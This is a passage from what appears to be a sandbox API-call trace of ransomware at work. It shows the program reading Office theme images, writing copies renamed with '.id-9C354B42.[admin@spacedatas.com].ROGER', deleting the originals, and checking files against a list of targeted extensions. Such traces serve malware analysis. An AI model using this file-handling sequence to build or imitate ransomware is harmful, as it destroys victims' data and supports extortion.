lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x8573, lpOverlapped=0x0) returned 1 [0049.074] WriteFile (in: hFile=0x3a0, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0x8580, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0x8580, lpOverlapped=0x0) returned 1 [0049.075] ReadFile (in: hFile=0x3dc, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x0, lpOverlapped=0x0) returned 1 [0049.075] WriteFile (in: hFile=0x3a0, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0xec, lpOverlapped=0x0) returned 1 [0049.075] SetEndOfFile (hFile=0x3a0) returned 1 [0049.076] CloseHandle (hObject=0x3a0) returned 1 [0049.076] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.076] SetEndOfFile (hFile=0x3dc) returned 1 [0049.077] CloseHandle (hObject=0x3dc) returned 1 [0049.077] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0049.077] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\thmbnail.png")) returned 1 [0049.077] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0049.077] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0049.077] lstrlenW (lpString=".doc") returned 4 [0049.077] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0049.077] lstrlenW (lpString=".docx") returned 5 [0049.077] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0049.077] lstrlenW (lpString=".pdf") returned 4 [0049.077] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0049.077] lstrlenW (lpString=".xls") returned 4 [0049.077] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0049.077] lstrlenW (lpString=".xlsx") returned 5 [0049.077] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0049.078] lstrlenW (lpString=".ppt") returned 4 [0049.078] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0049.078] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0049.078] lstrlenW (lpString=".zip") returned 4 [0049.078] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0049.078] lstrlenW (lpString=".rar") returned 4 [0049.078] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0049.078] lstrlenW (lpString=".bz2") returned 4 [0049.078] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0049.078] lstrlenW (lpString=".7z") returned 3 [0049.078] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0049.078] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0049.078] lstrlenW (lpString=".dbf") returned 4 [0049.078] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0049.078] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0049.078] lstrlenW (lpString=".1cd") returned 4 [0049.078] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0049.078] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0049.078] lstrlenW (lpString=".jpg") returned 4 [0049.078] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0049.078] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0049.078] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0049.078] lstrlenW (lpString=".doc") returned 4 [0049.078] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0049.078] lstrlenW (lpString=".docx") returned 5 [0049.078] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0049.078] lstrlenW (lpString=".pdf") returned 4 [0049.078] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0049.078] lstrlenW (lpString=".xls") returned 4 [0049.078] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0049.078] lstrlenW (lpString=".xlsx") returned 5 [0049.078] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0049.079] lstrlenW (lpString=".ppt") returned 4 [0049.079] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0049.079] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0049.079] lstrlenW (lpString=".zip") returned 4 [0049.079] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0049.079] lstrlenW (lpString=".rar") returned 4 [0049.079] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0049.079] lstrlenW (lpString=".bz2") returned 4 [0049.079] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0049.079] lstrlenW (lpString=".7z") returned 3 [0049.079] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0049.079] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0049.079] lstrlenW (lpString=".dbf") returned 4 [0049.079] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0049.079] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0049.079] lstrlenW (lpString=".1cd") returned 4 [0049.079] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0049.079] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0049.079] lstrlenW (lpString=".jpg") returned 4 [0049.079] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0049.079] lstrcmpiW (lpString1=".GIF", lpString2=".ROGER") returned -1 [0049.079] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0049.079] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0049.080] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x437ff1c | out: lpFileSize=0x437ff1c*=937) returned 1 [0049.080] CloseHandle (hObject=0x3dc) returned 1 [0049.080] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\preview.gif")) returned 0x20 [0049.080] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\preview.gif.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0049.080] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0049.080] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.080] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.080] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\preview.gif.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0049.589] GetLastError () returned 0x0 [0049.589] ReadFile (in: hFile=0x3dc, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x3a9, lpOverlapped=0x0) returned 1 [0049.591] WriteFile (in: hFile=0x358, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0x3b0, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0x3b0, lpOverlapped=0x0) returned 1 [0049.592] ReadFile (in: hFile=0x3dc, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x0, lpOverlapped=0x0) returned 1 [0049.592] WriteFile (in: hFile=0x358, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0xea, lpOverlapped=0x0) returned 1 [0049.592] SetEndOfFile (hFile=0x358) returned 1 [0049.592] CloseHandle (hObject=0x358) returned 1 [0049.593] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.593] SetEndOfFile (hFile=0x3dc) returned 1 [0049.594] CloseHandle (hObject=0x3dc) returned 1 [0049.594] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0049.594] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\preview.gif")) returned 1 [0049.595] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0049.595] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0049.595] lstrlenW (lpString=".doc") returned 4 [0049.595] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0049.595] lstrlenW (lpString=".docx") returned 5 [0049.595] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0049.595] lstrlenW (lpString=".pdf") returned 4 [0049.595] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0049.595] lstrlenW (lpString=".xls") returned 4 [0049.595] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0049.595] lstrlenW (lpString=".xlsx") returned 5 [0049.595] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0049.595] lstrlenW (lpString=".ppt") returned 4 [0049.595] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0049.595] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0049.595] lstrlenW (lpString=".zip") returned 4 [0049.595] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0049.595] lstrlenW (lpString=".rar") returned 4 [0049.595] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0049.595] lstrlenW (lpString=".bz2") returned 4 [0049.595] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0049.595] lstrlenW (lpString=".7z") returned 3 [0049.595] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0049.595] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0049.595] lstrlenW (lpString=".dbf") returned 4 [0049.595] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0049.596] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0049.596] lstrlenW (lpString=".1cd") returned 4 [0049.596] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0049.596] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0049.596] lstrlenW (lpString=".jpg") returned 4 [0049.596] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0049.596] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0049.596] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0049.596] lstrlenW (lpString=".doc") returned 4 [0049.596] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0049.596] lstrlenW (lpString=".docx") returned 5 [0049.596] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0049.596] lstrlenW (lpString=".pdf") returned 4 [0049.596] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0049.596] lstrlenW (lpString=".xls") returned 4 [0049.596] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0049.596] lstrlenW (lpString=".xlsx") returned 5 [0049.596] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0049.597] lstrlenW (lpString=".ppt") returned 4 [0049.597] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0049.597] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0049.597] lstrlenW (lpString=".zip") returned 4 [0049.597] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0049.597] lstrlenW (lpString=".rar") returned 4 [0049.597] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0049.597] lstrlenW (lpString=".bz2") returned 4 [0049.597] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0049.597] lstrlenW (lpString=".7z") returned 3 [0049.597] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0049.597] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0049.597] lstrlenW (lpString=".dbf") returned 4 [0049.597] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0049.597] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0049.597] lstrlenW (lpString=".1cd") returned 4 [0049.597] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0049.597] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0049.597] lstrlenW (lpString=".jpg") returned 4 [0049.598] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0049.598] lstrcmpiW (lpString1=".GIF", lpString2=".ROGER") returned -1 [0049.598] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0049.598] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0049.598] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x437ff1c | out: lpFileSize=0x437ff1c*=2209) returned 1 [0049.598] CloseHandle (hObject=0x3dc) returned 1 [0049.598] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\preview.gif")) returned 0x20 [0049.599] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\preview.gif.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0049.599] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0049.599] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.599] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.599] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\preview.gif.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0049.601] GetLastError () returned 0x0 [0049.601] ReadFile (in: hFile=0x3dc, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x8a1, lpOverlapped=0x0) returned 1 [0049.603] WriteFile (in: hFile=0x390, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0x8b0, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0x8b0, lpOverlapped=0x0) returned 1 [0049.604] ReadFile (in: hFile=0x3dc, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x0, lpOverlapped=0x0) returned 1 [0049.604] WriteFile (in: hFile=0x390, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0xea, lpOverlapped=0x0) returned 1 [0049.604] SetEndOfFile (hFile=0x390) returned 1 [0049.604] CloseHandle (hObject=0x390) returned 1 [0049.604] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.605] SetEndOfFile (hFile=0x3dc) returned 1 [0049.605] CloseHandle (hObject=0x3dc) returned 1 [0049.606] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0049.606] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\preview.gif")) returned 1 [0049.606] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0049.606] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0049.606] lstrlenW (lpString=".doc") returned 4 [0049.606] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0049.606] lstrlenW (lpString=".docx") returned 5 [0049.606] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0049.606] lstrlenW (lpString=".pdf") returned 4 [0049.606] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0049.606] lstrlenW (lpString=".xls") returned 4 [0049.607] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0049.607] lstrlenW (lpString=".xlsx") returned 5 [0049.607] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0049.607] lstrlenW (lpString=".ppt") returned 4 [0049.607] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0049.607] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0049.607] lstrlenW (lpString=".zip") returned 4 [0049.607] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0049.607] lstrlenW (lpString=".rar") returned 4 [0049.607] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0049.607] lstrlenW (lpString=".bz2") returned 4 [0049.607] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0049.607] lstrlenW (lpString=".7z") returned 3 [0049.607] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0049.607] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0049.607] lstrlenW (lpString=".dbf") returned 4 [0049.607] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0049.607] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0049.607] lstrlenW (lpString=".1cd") returned 4 [0049.607] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0049.607] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0049.607] lstrlenW (lpString=".jpg") returned 4 [0049.607] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0049.607] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0049.607] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0049.608] lstrlenW (lpString=".doc") returned 4 [0049.608] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0049.608] lstrlenW (lpString=".docx") returned 5 [0049.608] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0049.608] lstrlenW (lpString=".pdf") returned 4 [0049.608] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0049.608] lstrlenW (lpString=".xls") returned 4 [0049.608] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0049.608] lstrlenW (lpString=".xlsx") returned 5 [0049.608] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0049.608] lstrlenW (lpString=".ppt") returned 4 [0049.608] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0049.608] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0049.608] lstrlenW (lpString=".zip") returned 4 [0049.608] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0049.608] lstrlenW (lpString=".rar") returned 4 [0049.608] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0049.608] lstrlenW (lpString=".bz2") returned 4 [0049.608] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0049.608] lstrlenW (lpString=".7z") returned 3 [0049.608] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0049.608] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0049.608] lstrlenW (lpString=".dbf") returned 4 [0049.608] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0049.608] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0049.609] lstrlenW (lpString=".1cd") returned 4 [0049.609] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0049.609] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0049.609] lstrlenW (lpString=".jpg") returned 4 [0049.609] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0049.609] lstrcmpiW (lpString1=".PNG", lpString2=".ROGER") returned -1 [0049.609] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0049.609] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0049.609] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x437ff1c | out: lpFileSize=0x437ff1c*=21812) returned 1 [0049.609] CloseHandle (hObject=0x3dc) returned 1 [0049.610] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\thmbnail.png")) returned 0x20 [0049.610] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\thmbnail.png.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0049.610] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0049.610] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.610] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.610] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\thmbnail.png.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0049.610] GetLastError () returned 0x0 [0049.610] ReadFile (in: hFile=0x3dc, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: 